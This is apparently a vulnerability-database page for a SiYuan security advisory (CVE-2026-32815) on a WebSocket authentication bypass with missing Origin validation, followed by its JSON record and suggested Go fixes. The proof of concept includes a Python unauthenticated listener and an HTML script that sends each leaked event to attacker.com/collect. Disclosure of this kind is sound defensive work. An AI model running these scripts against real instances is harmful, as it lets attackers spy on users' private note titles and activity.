GHSA-XP2M-98X8-RPJ6
Vulnerability from github – Published: 2026-03-16 18:46 – Updated: 2026-03-30 13:59Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure
Summary
SiYuan's WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.
Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.
Affected Component
- File:
kernel/server/serve.go:728-731 - Function:
serveWebSocket()→HandleConnecthandler - Endpoint:
GET /ws?app=siyuan&id=auth&type=auth(unauthenticated) - Version: SiYuan <= 3.5.9
Root Cause
The WebSocket HandleConnect handler has a special case bypass (line 730) intended for the authorization page:
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
authOk := true
if "" != model.Conf.AccessAuthCode {
// ... normal session/JWT authentication checks ...
// authOk = false if no valid session
}
if !authOk {
// Bypass: allow connection for auth page keepalive
// 用于授权页保持连接,避免非常驻内存内核自动退出
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
}
if !authOk {
s.CloseWithMsg([]byte(" unauthenticated"))
return
}
util.AddPushChan(s) // Session added to broadcast list
})
Three issues combine:
-
Authentication bypass via URL parameters: Any client connecting with
?app=siyuan&id=auth&type=authbypasses all authentication checks. -
Full broadcast membership: The bypassed session is added to the broadcast list via
util.AddPushChan(s), receiving ALLPushModeBroadcastevents — the same events sent to authenticated clients. -
No Origin validation: The WebSocket endpoint does not check the
Originheader, allowing cross-origin connections from any website.
Proof of Concept
Tested and confirmed on SiYuan v3.5.9 (Docker) with accessAuthCode configured.
1. Direct unauthenticated connection
import asyncio, json, websockets
async def spy():
# Connect WITHOUT any authentication cookie
uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
async with websockets.connect(uri) as ws:
print("Connected without authentication!")
while True:
msg = await ws.recv()
data = json.loads(msg)
cmd = data.get("cmd")
d = data.get("data", {})
if cmd == "rename":
print(f"[LEAKED] Document renamed: {d.get('title')}")
elif cmd == "create":
print(f"[LEAKED] Document created: {d.get('path')}")
elif cmd == "renamenotebook":
print(f"[LEAKED] Notebook renamed: {d.get('name')}")
elif cmd == "removeDoc":
print(f"[LEAKED] Document deleted")
elif cmd == "transactions":
for tx in d if isinstance(d, list) else []:
for op in tx.get("doOperations", []):
if op.get("action") == "updateAttrs":
new = op.get("data", {}).get("new", {})
print(f"[LEAKED] Doc attrs: title={new.get('title')}")
asyncio.run(spy())
2. Cross-origin attack from malicious website
<!-- Hosted on https://attacker.com/spy.html -->
<script>
// Victim has SiYuan running on localhost:6806
const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");
ws.onopen = () => console.log("Connected to victim's SiYuan!");
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
// Exfiltrate document operations to attacker
fetch("https://attacker.com/collect", {
method: "POST",
body: JSON.stringify({
cmd: data.cmd,
data: data.data,
timestamp: Date.now()
})
});
};
</script>
3. Confirmed leaked events
The following events are received by the unauthenticated WebSocket:
| Event | Leaked Data |
|---|---|
savedoc |
Document root ID, operation data |
transactions |
Document title, ID, attrs (new/old) |
create |
Document path, notebook info (name, ID) |
rename |
New document title, path, notebook ID |
renamenotebook |
New notebook name, notebook ID |
removeDoc |
Document deletion event |
4. Cross-origin connection confirmed
import websockets, asyncio
async def test():
uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth"
extra_headers = {"Origin": "https://evil.attacker.com"}
async with websockets.connect(uri, additional_headers=extra_headers) as ws:
print("Cross-origin connection accepted!") # SUCCEEDS
asyncio.run(test())
Result: Connection succeeds — no Origin validation.
Attack Scenario
- Victim runs SiYuan desktop (Electron, listens on
localhost:6806) or Docker instance - Victim has
accessAuthCodeconfigured (server is password-protected) - Victim visits
attacker.comin any browser - Attacker's JavaScript connects to
ws://localhost:6806/ws?app=siyuan&id=spy&type=auth - WebSocket connection bypasses authentication
- Attacker silently monitors ALL document operations in real-time:
- Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft")
- Notebook names ("Personal", "Work - Confidential")
- File paths and document IDs
- Create/rename/delete operations
- Attacker builds a profile of the victim's note-taking activity without any visible indication
Impact
- Severity: HIGH (CVSS ~7.5)
- Type: CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)
- Authentication bypass on WebSocket endpoint when
accessAuthCodeis configured - Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance
- Real-time information disclosure of document metadata (titles, paths, operations)
- No user interaction required beyond visiting a malicious website
- Affects both Electron desktop and Docker/server deployments
- Silent — no visible indication to the user
Suggested Fix
1. Remove the URL parameter authentication bypass
// Remove or restrict the auth page bypass
// Before (vulnerable):
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
// After: Use a separate, restricted endpoint for auth page keepalive
// that does NOT receive broadcast events
2. Add Origin header validation
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
// Validate Origin header
origin := s.Request.Header.Get("Origin")
if origin != "" {
allowed := false
for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} {
if strings.HasPrefix(origin, o) {
allowed = true
break
}
}
if !allowed {
s.CloseWithMsg([]byte("origin not allowed"))
return
}
}
// ... rest of auth logic
})
3. Separate keepalive from broadcast
If the auth page needs a WebSocket for keepalive, create a separate endpoint (/ws-keepalive) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260313024916-fd6526133bb3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32815"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T18:46:34Z",
"nvd_published_at": "2026-03-19T22:16:42Z",
"severity": "MODERATE"
},
"details": "# Cross-Origin WebSocket Hijacking via Authentication Bypass \u2014 Unauthenticated Information Disclosure\n\n## Summary\n\nSiYuan\u0027s WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan\u0026id=auth\u0026type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client \u2014 including malicious websites via cross-origin WebSocket \u2014 to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.\n\nCombined with the absence of `Origin` header validation, a malicious website can silently connect to a victim\u0027s local SiYuan instance and monitor their note-taking activity.\n\n## Affected Component\n\n- **File:** `kernel/server/serve.go:728-731`\n- **Function:** `serveWebSocket()` \u2192 `HandleConnect` handler\n- **Endpoint:** `GET /ws?app=siyuan\u0026id=auth\u0026type=auth` (unauthenticated)\n- **Version:** SiYuan \u003c= 3.5.9\n\n## Root Cause\n\nThe WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page:\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n authOk := true\n if \"\" != model.Conf.AccessAuthCode {\n // ... normal session/JWT authentication checks ...\n // authOk = false if no valid session\n }\n\n if !authOk {\n // Bypass: allow connection for auth page keepalive\n // \u7528\u4e8e\u6388\u6743\u9875\u4fdd\u6301\u8fde\u63a5\uff0c\u907f\u514d\u975e\u5e38\u9a7b\u5185\u5b58\u5185\u6838\u81ea\u52a8\u9000\u51fa\n authOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") \u0026\u0026\n strings.Contains(s.Request.RequestURI, \"\u0026id=auth\u0026type=auth\")\n }\n\n if !authOk {\n s.CloseWithMsg([]byte(\" unauthenticated\"))\n return\n }\n\n util.AddPushChan(s) // Session added to broadcast list\n})\n```\n\nThree issues combine:\n\n1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan\u0026id=auth\u0026type=auth` bypasses all authentication checks.\n\n2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events \u2014 the same events sent to authenticated clients.\n\n3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.**\n\n### 1. Direct unauthenticated connection\n\n```python\nimport asyncio, json, websockets\n\nasync def spy():\n # Connect WITHOUT any authentication cookie\n uri = \"ws://TARGET:6806/ws?app=siyuan\u0026id=auth\u0026type=auth\"\n async with websockets.connect(uri) as ws:\n print(\"Connected without authentication!\")\n while True:\n msg = await ws.recv()\n data = json.loads(msg)\n cmd = data.get(\"cmd\")\n d = data.get(\"data\", {})\n\n if cmd == \"rename\":\n print(f\"[LEAKED] Document renamed: {d.get(\u0027title\u0027)}\")\n elif cmd == \"create\":\n print(f\"[LEAKED] Document created: {d.get(\u0027path\u0027)}\")\n elif cmd == \"renamenotebook\":\n print(f\"[LEAKED] Notebook renamed: {d.get(\u0027name\u0027)}\")\n elif cmd == \"removeDoc\":\n print(f\"[LEAKED] Document deleted\")\n elif cmd == \"transactions\":\n for tx in d if isinstance(d, list) else []:\n for op in tx.get(\"doOperations\", []):\n if op.get(\"action\") == \"updateAttrs\":\n new = op.get(\"data\", {}).get(\"new\", {})\n print(f\"[LEAKED] Doc attrs: title={new.get(\u0027title\u0027)}\")\n\nasyncio.run(spy())\n```\n\n### 2. Cross-origin attack from malicious website\n\n```html\n\u003c!-- Hosted on https://attacker.com/spy.html --\u003e\n\u003cscript\u003e\n// Victim has SiYuan running on localhost:6806\nconst ws = new WebSocket(\"ws://localhost:6806/ws?app=siyuan\u0026id=spy\u0026type=auth\");\n\nws.onopen = () =\u003e console.log(\"Connected to victim\u0027s SiYuan!\");\n\nws.onmessage = (event) =\u003e {\n const data = JSON.parse(event.data);\n // Exfiltrate document operations to attacker\n fetch(\"https://attacker.com/collect\", {\n method: \"POST\",\n body: JSON.stringify({\n cmd: data.cmd,\n data: data.data,\n timestamp: Date.now()\n })\n });\n};\n\u003c/script\u003e\n```\n\n### 3. Confirmed leaked events\n\nThe following events are received by the unauthenticated WebSocket:\n\n| Event | Leaked Data |\n|-------|-------------|\n| `savedoc` | Document root ID, operation data |\n| `transactions` | Document title, ID, attrs (new/old) |\n| `create` | Document path, notebook info (name, ID) |\n| `rename` | New document title, path, notebook ID |\n| `renamenotebook` | New notebook name, notebook ID |\n| `removeDoc` | Document deletion event |\n\n### 4. Cross-origin connection confirmed\n\n```python\nimport websockets, asyncio\n\nasync def test():\n uri = \"ws://localhost:6806/ws?app=siyuan\u0026id=attacker\u0026type=auth\"\n extra_headers = {\"Origin\": \"https://evil.attacker.com\"}\n async with websockets.connect(uri, additional_headers=extra_headers) as ws:\n print(\"Cross-origin connection accepted!\") # SUCCEEDS\n\nasyncio.run(test())\n```\n\n**Result:** Connection succeeds \u2014 no Origin validation.\n\n## Attack Scenario\n\n1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance\n2. Victim has `accessAuthCode` configured (server is password-protected)\n3. Victim visits `attacker.com` in any browser\n4. Attacker\u0027s JavaScript connects to `ws://localhost:6806/ws?app=siyuan\u0026id=spy\u0026type=auth`\n5. WebSocket connection bypasses authentication\n6. Attacker silently monitors ALL document operations in real-time:\n - Document titles (\"Q4 Financial Results\", \"Employee Reviews\", \"Patent Draft\")\n - Notebook names (\"Personal\", \"Work - Confidential\")\n - File paths and document IDs\n - Create/rename/delete operations\n7. Attacker builds a profile of the victim\u0027s note-taking activity without any visible indication\n\n## Impact\n\n- **Severity:** HIGH (CVSS ~7.5)\n- **Type:** CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)\n- Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured\n- Cross-origin WebSocket hijacking \u2014 any website can connect to local SiYuan instance\n- Real-time information disclosure of document metadata (titles, paths, operations)\n- No user interaction required beyond visiting a malicious website\n- Affects both Electron desktop and Docker/server deployments\n- Silent \u2014 no visible indication to the user\n\n## Suggested Fix\n\n### 1. Remove the URL parameter authentication bypass\n\n```go\n// Remove or restrict the auth page bypass\n// Before (vulnerable):\nauthOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") \u0026\u0026\n strings.Contains(s.Request.RequestURI, \"\u0026id=auth\u0026type=auth\")\n\n// After: Use a separate, restricted endpoint for auth page keepalive\n// that does NOT receive broadcast events\n```\n\n### 2. Add Origin header validation\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n // Validate Origin header\n origin := s.Request.Header.Get(\"Origin\")\n if origin != \"\" {\n allowed := false\n for _, o := range []string{\"http://localhost\", \"http://127.0.0.1\", \"app://\"} {\n if strings.HasPrefix(origin, o) {\n allowed = true\n break\n }\n }\n if !allowed {\n s.CloseWithMsg([]byte(\"origin not allowed\"))\n return\n }\n }\n // ... rest of auth logic\n})\n```\n\n### 3. Separate keepalive from broadcast\n\nIf the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.",
"id": "GHSA-xp2m-98x8-rpj6",
"modified": "2026-03-30T13:59:03Z",
"published": "2026-03-16T18:46:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xp2m-98x8-rpj6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32815"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/1e370e37359778c0932673e825182ff555b504a3"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass \u2014 Unauthenticated Information Disclosure"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.